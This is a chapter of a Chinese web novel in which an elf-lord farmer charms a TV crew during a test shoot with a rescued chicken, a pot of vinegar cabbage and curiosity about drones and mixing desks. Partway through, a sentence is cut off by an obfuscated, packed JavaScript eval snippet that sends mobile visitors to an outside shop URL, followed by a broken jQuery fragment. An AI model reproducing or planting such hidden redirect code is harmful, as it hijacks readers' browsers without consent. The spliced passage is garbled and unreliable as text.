技术试拍那天，院子里像个战场。
三根灯杆竖起来，黑旗白旗挂了一树，轨道从槐树底下铺到菜地边，摄像机在轨道上滑来滑去，像一只蹲在铁轨上的铁鸟。苏晚举着对讲机满院子转，一会儿喊"灯再高半米"，一会儿喊"这个机位逆光了"，嗓门比平时大两个调。
陆清槐蹲在菜地里，给韭菜松土。
他离轨道不到两米。摄像机滑过去的时候，镜头里会扫到他的侧脸——他完全知道，但没躲。他在精灵王庭见过比这大得多的阵仗：八十个法师同时布阵，灵光照得整个王庭跟白昼似的，那才叫大阵仗。这二十来个人举着杆子跑来跑去，在他看来跟蚂蚁搬家差不多。
但他一直在看。
看那个操控无人机的小伙子怎么用两个拇指搓遥控器——无人机"嗡"地升空，他的目光跟着抬了两寸；看灯光组怎么把一把伞撑开，灯一打，光就柔了——他歪了歪头，像在琢磨这伞是什么材质；看摄像师小陈在轨道上推机器，推过来推过去，来来回回七八遍。
小陈正推着，机器旁边蹲着的人忽然开口了："你推了八遍了。"
"……啊，试轨道呢。"小陈顺口答了，答完才反应过来——这房东从头到尾没看他一眼。
"轨道不平。"陆清槐松土的手没停，"第三段接口，左边低了一点点。你推到那儿机器会沉一下。"
小陈愣了。他低头看了看轨道——肉眼完全看不出来。但他推了八遍，确实在那个位置有一丝极其细微的顿挫，他以为是自己手不稳。
"老吴！"小陈扭头喊，"轨道第三段左边低了！"
老吴拿着水平仪过来一靠，沉默了三秒。
"谁告诉你的？"
"陆老师。"
老吴转头看向菜地里那个蹲着松土的背影，表情复杂。
上午十点，出了第一起事故。
道具鸡跑了。
就是那只芦花鸡，从竹笼子里被拎出来当"试拍道具"的——场务小李把笼子搁在石桌上，转身去拿假鸡蛋的工夫，笼子门不知怎么开了。
芦花鸡冲出笼子，扑棱着翅膀满院子飞，鸡毛飞得跟下雪似的。
"鸡！鸡跑了！"
"关门！关院门！"
"别让它飞出去——"
二十来个人瞬间炸了锅。两个场务扑过去抓，鸡从他们头顶飞过去，爪子蹬了一下灯杆，灯杆晃了三晃。录音师举着收音杆往后跳，一脚踩进韭菜垄。一个女场务尖叫着拿文件夹挥，鸡毛糊了她一脸。
苏晚站在台阶上，太阳穴直跳。
"都别——"
她话没说完，一个人影从菜地里站起来。
陆清槐拍了拍手上的土，没跑，也没急。他朝芦花鸡的方向走了两步，停下来，蹲下身，伸手。
"过来。"
声音不大。
那只鸡正扑棱着翅膀往墙头上蹿，听见这两个字，居然停了。它歪着脑袋看了陆清槐两秒，翅膀收了收，然后——从墙头上飞下来，笃笃笃走到他手边，把头塞进了他掌心。
整个院子安静了。
陆清槐摸了摸它的背，把它抱起来，站起来。
"笼子门扣坏了。"他对愣在原地的小李说，"换一个。"
"……哦、哦好。"
他把鸡递过去。小李接的时候手都在抖，不是怕鸡，是——他也说不上来，就是觉得刚才那一幕有点不太科学。
苏晚站在台阶上，对讲机举在半空，慢慢放下来。
"小陈。"
"在。"
"拍下来了？"
小陈低头看了一眼机器——红灯亮着，一直在录。
"全拍下来了。"
"留着。"苏晚说，"这条不删。"
中午，节目组的盒饭到了。
说是跟组厨师做的，但厨师和灶台还在帐篷那边没搭好，这一顿是从镇上餐馆订的。二十来个人蹲在院子里、墙根下、台阶上，一人一个泡沫饭盒，扒拉着米饭和炒菜。
陆清槐端着自己的碗从灶屋出来，在石桌边坐下。
他碗里还是醋溜白菜和白米饭。
但今天不一样。今天院子里飘着两种味道——一种是盒饭里大锅炒菜的油腥味，一种是他碗里醋溜白菜的酸爽，两种味道在空气里撞了个满怀。
坐他旁边的场务小赵扒了一口盒饭里的土豆炖鸡，嚼了两下，表情有点一言难尽。
"这鸡……冻的吧。"
"废话，山里哪来现杀的。"旁边的人接话，"有就不错了。"
小赵没接话。他的目光不受控制地飘向石桌那边——陆清槐正夹起一筷子白菜，放进嘴里，慢慢嚼着。那白菜在中午的阳光下油亮油亮的，醋味混着糖香飘过来，小赵的肚子"咕"地叫了一声。
不是他一个人。
半院子的人都在偷偷看陆清槐吃饭。
苏晚最后一个领盒饭。她打开盖子看了一眼——红烧茄子颜色发黑，番茄炒蛋蛋比番茄多，米饭夹生。她合上盖子，没动筷子。
"陆老师。"
"嗯。"
"你这白菜，"她看着他碗里，"还有剩吗？"
陆清槐想了想，起身进了灶屋。出来的时候端着一口锅，锅里是半锅醋溜白菜。他把锅往石桌上一放，又回去拿了一摞碗搁在旁边，筷子往碗上一搭。
"自己盛。"他说，"锅里还有。"
苏晚没客气。她拿碗盛了小半碗，夹了一片白菜放进嘴里。
三秒后她闭上了眼睛。
小赵在旁边看着导演的表情，心里"咯噔"一下，也赶紧去盛了一碗。然后是老吴。然后是小陈。然后是录音师、灯光助理、道具组小姑娘、两个搬桌椅的姑娘——
一锅白菜，四十秒，见底了。
陆清槐看着空锅，又看了看蹲在院子里埋头吃白菜的二十来号人，低头把自己碗里最后一口米饭扒完。
陈伯不知什么时候也端着碗蹲在台阶上，吃完了把碗一放，抹了抹嘴："你这白菜，比我上次在镇上馆子吃的还好。"
"您那是馆子没放油。"
"放屁。"陈伯哼了一声，"明儿我那畦韭菜也该割了，你给我包个饺子。"
"行。"
"晚上多做点。"他说。
没人接话。所有人都在吃。
苏晚放下碗，拿出手机，给"老周"发了条消息：
"他做了一锅白菜，全组人抢着吃。我干了十年电视，没见过这场面。"
老周回得很快："拍了吗？"
苏晚抬头看了一眼灶屋的方向。陆清槐正在刷锅，背影被正午的阳光镶了一圈边，粉色兔子围裙在一堆黑色设备中间格外扎眼。
"还没。"她打字，"但会拍到的。"
下午继续试拍。
有了上午的事，全组人看陆清槐的眼神都不一样了。
说穿了就一个字：馋。
上午那锅白菜被抢光之后，有一半的人没吃到第二碗。小赵端着空碗蹲在墙根，逢人就问"晚上吃什么"，得到的答案永远是"你问陆老师去"。没人好意思真去问，但所有人都在偷偷看灶屋的方向。
苏晚在监视器后面看回放。镜头里，陆清槐蹲在菜地边，手指碰了碰一片白菜叶，微微皱眉，然后伸手把叶子翻了个面——背面藏着一条小青虫。他把虫子捏下来，放进旁边的一个铁皮罐子里，动作自然得像做过一千遍。
"这条留着。"苏晚说。
"苏导，这是技术试拍……"旁边的制片提醒。
"我说留着。"
制片闭嘴了。
小陈把摄像机架到轨道上，又推了一遍。这回第三段接口不沉了——老吴中午拿垫片调过了。镜头平稳地滑过菜地、滑过槐树、滑过蹲在地里的陆清槐。
监视器里，那个人恰好抬起头。
他不知道在看什么——不是看镜头，是看镜头后面更远的地方。阳光穿过槐树叶，在他脸上投下碎金似的光斑。风把他的头发吹乱了一缕，他抬手别到耳后，手指的骨节分明，指甲缝里带着一点泥。
苏晚盯着监视器，没说话。脑子里已经在过粗剪结构了——道具鸡乱飞那段可以放在第二集开头当小高潮，白菜被抢光做结尾，中间插他蹲在地里捉虫的特写。节奏不用推，生活自己会推。
"苏导？"小陈在前面喊，"这条过吗？"
"过。"她顿了一下，"……再来一条。"
傍晚，林野又来了。
他现在每天雷打不动过来报到，美其名曰"帮邻居看院子"，实际上是来蹭素材的——苏晚不让拍设备，但他可以拍猫拍狗拍菜，偶尔拍一拍满院子忙碌的剧组人，直播间人数稳定在八千到一万。
"老陆！"他一进门就喊，"今天网上有个热搜你看了没？"
"没有。"
"'南方人第一次见北方澡堂子'，哈哈哈哈你别说，还真有南方人在北方澡堂子被吓哭的——"
"澡堂子是什么。"
"就是北方人洗澡的地方，"林野比画了一下，"一大屋子人，光着，互相搓背那种。南方人第一次去都吓傻了。"
"光着？"
"光着。"
"一屋子人？"
"一屋子人。"
陆清槐想了想，点了点头，没再追问。
"下回带你去镇上试试？"林野说，"就那种大澡堂子，五块钱搓个背，爽得很。"
"好。"
"不说这个。"他凑过来，压低声音，"我跟你说，你们今天那鸡的事，剧组里都传开了。小李说你跟鸡说了句话鸡就自己过来了。"
"嗯。"
"你怎么做到的？"
陆清槐看了他一眼。"它知道我不会伤害它。"
"就这？"
"就这。"
林野将信将疑地看了他两秒，决定不深究了。他跟陆清槐认识大半年，早习惯了这人说话说一半、剩下的全靠你自己悟。
他举起手机准备开播，一抬头看见院门口多了个东西——
"哎？你们还弄了个黑板？"
院门右边的墙上钉了块小黑板，上面用粉笔写了几行字：
今日菜单
醋溜白菜
清炒萝卜丝
韭菜炒鸡蛋
米饭管够
下面还有一行小字，字迹跟前三行明显不是同一个人写的，歪歪扭扭的：
谁踩菜谁没饭吃。——陆
林野盯着最后一行看了三秒，笑出了声。
"你写的？"
"他们写的。"陆清槐在灶台前忙活，头也不回，"前面三行是小赵写的，最后一行是我加的。"
"你不是不在意菜被踩吗？"
"我在意。"他把白菜翻了个面，锅里滋啦一声响，"不踩和不在意是两回事。"
林野把黑板拍了张照，发了条朋友圈。
配文是： "录综艺的院子里，最有权威的人不是导演。"
晚上七点，天还没全黑。
陆清槐站在灶屋门口，看着院子里的景象。
灯亮了。不是他屋里那盏昏黄的白炽灯，是三根灯杆上的大功率LED，白花花的把整个院子照得跟手术室似的。摄像机在轨道上滑来滑去，小陈盯着取景器，苏晚盯着监视器，老吴盯着灯光指数。有人举着收音杆，有人拖着电缆，有人蹲在角落吃第二锅白菜——下午他又炒了两锅，还是不够。
灶台上，跟组厨师终于搭好了自己的家伙事儿，正在炒一锅回锅肉。肉香飘过来，跟白菜的酸味混在一起，居然不冲突。
陆清槐靠在门框上，看了一会儿。
他的目光落在监视器上——屏幕里是院子的实时画面，比人眼看到的更亮、更清晰，连槐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916289|213330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
树叶上的纹路都看得见。
"这个，"他走到苏晚旁边，指了指监视器，"能看到所有机位拍的东西？"
"对。"苏晚没回头，"这个是A机，那边那个小屏是B机和航拍。"
"航拍就是那架无人机？"
苏晚终于转过头看了他一眼，嘴角带着一丝笑意："对，就是那架。"
他"嗯"了一声，没再问。但苏晚注意到他站着没走，眼睛在三个屏幕之间来回看，看了足足有五分钟。
"想试试？"她忽然问。
"什么？"
"切画面。"苏晚把导演椅往后挪了挪，让出半个位置，"来，坐这儿。"
陆清槐看了她一眼，又看了看那张椅子，坐了。
苏晚指着面前的切换台："这个推杆，往左推是A机，往右是B机，中间是叠化。你试试。"
他伸手，握住推杆。
停了两秒。
然后往左推了一厘米。
监视器上的画面从院子全景变成了菜地里白菜叶的特写——叶面上一颗露珠在灯光下闪闪发亮。他又往右推，画面切成了航拍：整个院子、屋顶、远处的山和晚霞，像一幅铺开来的画。
他的眼睛亮了一下。
"有意思吧？"她说。
"嗯。"他又切了一个画面——橘座蹲在墙头上舔爪子，对满院子的灯光和人视而不见。他看着屏幕里的猫，嘴角弯了弯。
"苏导，"小陈在前面喊，"天光再不走就没了——"
"来了。"苏晚站起来，拍了拍陆清槐的肩膀，"起来，该我了。"
他站起来，把椅子让回去，转身往菜地走。走了两步又回头看了一眼监视器。
苏晚假装没看见。
夜里十一点，人散了。
陆清槐坐在槐树下，手掌贴着树干。
今天人太多，他一天没敢修炼。此刻夜深，虫子在叫，帐篷那边偶尔传来一两声呼噜。他闭上眼睛，感知顺着根系往下走——
槐树、桃树、白菜、韭菜、萝卜、花椒。
根系网络比昨天又密了一丝。
然后他感觉到了一个新的东西。
院子西墙根底下，厨师下午刚栽的一排小葱。他的感知碰到葱须的时候，那股辛辣冲劲儿跟花椒的麻不一样——花椒是桀骜，小葱是泼辣，一根根须跟小针似的扎过来，带着一股子"别碰我"的横劲儿。
陆清槐笑了。
这院子越来越热闹了。
连植物都是。
他收回感知，睁开眼。橘座卧在他腿上，大黄趴在脚边。月光很亮，帐篷的轮廓在远处起伏，像一排白色的小丘陵。
手机亮了。
林野的消息："睡了？"
"没。"
"今天有人在我直播间问你是不是签公司了。"
"没有。"
"我知道。我帮你回了，说你就是个种菜的。"
"嗯。"
"还有，"林野隔了几秒才发来，"苏导那个节目，叫《山间的日子》，我查了，上星卫视周五黄金档。S级制作。"
陆清槐看着这行字。
"S级是什么。"
"就是最顶级的意思！投资最大！平台最重视！播出的时候全国都能看见！"
他想了想。
"那是不是以后不会有人抢我白菜了。"
"……你怎么想到这个？"
"人多，菜不够。"
林野回了一串感叹号，他没仔细数。
陆清槐把手机揣回兜里，站起来。
他看了一眼满院子的设备——灯杆、轨道、摄像机、盖着防雨布的箱子。明天还得继续。后天也继续。大后天也继续。
他没急着回屋。
下午坐过的那张导演椅还在监视器旁边，苏晚走的时候没收。他走过去，没坐，就站在那儿看了看黑漆漆的屏幕。手痒，又握住那个推杆推了一下——当然什么也没发生，机器关了。
他"啧"了一声，松开手。
抬头看天。无人机白天飞的时候他一直盯着看——那个东西怎么就能悬在半空呢？老吴说螺旋桨转得快就飞起来了，可精灵王庭也有靠风力升空的法阵，原理不一样。他琢磨了一下午也没琢磨明白，那四个小叶片看着弱不禁风，怎么带得动那么重的镜头。
还有那个收音杆顶上毛茸茸的筒子，风一吹毛就抖，但录出来的声音反而更清楚——他下午趁录音师不在，凑过去仔细看过那个毛，不是动物的毛，是某种合成的纤维，手感很怪。
还有苏晚平板上那支笔，不用墨，挨上屏幕就能写字。
还有厨师灶台上那个一拧就冒火的铁疙瘩，不用柴火，不用引火，"咔哒"一声火苗就窜出来了——他下午蹲在旁边看了人家做了半顿饭。
这些东西在精灵王庭一样都没有。
八百年了，他以为自己什么都见过了。结果来了这个世界，连做饭的火都不认识。
但他不着急。一天搞不懂就两天，两天搞不懂就一个月。他有的是时间——至少他希望自己还有。
他往灶屋走，准备关灯。路过灶台的时候想起下午从王婶那儿要的两个鸡蛋——大黄今天表现不错，放生那只鸡之后委屈了一下午，明早给它卧个蛋黄拌米饭。
灶屋的灯还亮着。墙上小赵用粉笔歪歪扭扭加了一行字：
"白菜申请加量。"
下面是陆清槐的字迹：
"自己拔。"
他看了两秒，又拿起粉笔，在后面补了一句：
"明早加个汤。"
关灯。
他琢磨着，明早给这帮人做个萝卜汤，反正萝卜也吃不完。
至于那个什么《山间的日子》——
全国都能看见？那挺好。
等明天小陈不忙了，得问问那无人机能不能让他摸摸遥控器。